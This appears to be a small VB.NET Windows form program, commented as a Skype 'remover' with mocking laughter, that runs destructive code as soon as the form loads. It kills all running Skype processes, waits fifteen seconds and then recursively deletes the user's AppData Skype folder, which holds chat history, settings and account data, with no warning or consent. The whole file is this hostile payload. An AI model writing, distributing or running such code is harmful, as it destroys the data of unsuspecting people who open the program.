Imports System.IO
Public Class Kartka
''baru skype usuwacz,hahhahah'''
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Dim pProcess() As Process = System.Diagnostics.Process.GetProcessesByName("Skype")
For Each p As Process In pProcess
p.Kill()
Dim Present As Date
Dim DelayTime As Integer = 15 'Secounds
Present = Now
Do Until DateDiff(Microsoft.VisualBasic.DateInterval.Second, Present, Now) > DelayTime
Loop
Next
Dim path As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Skype\"
System.IO.Directory.Delete(path, True)
Dim Usuwacz As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Skype\ "
End Sub
End Class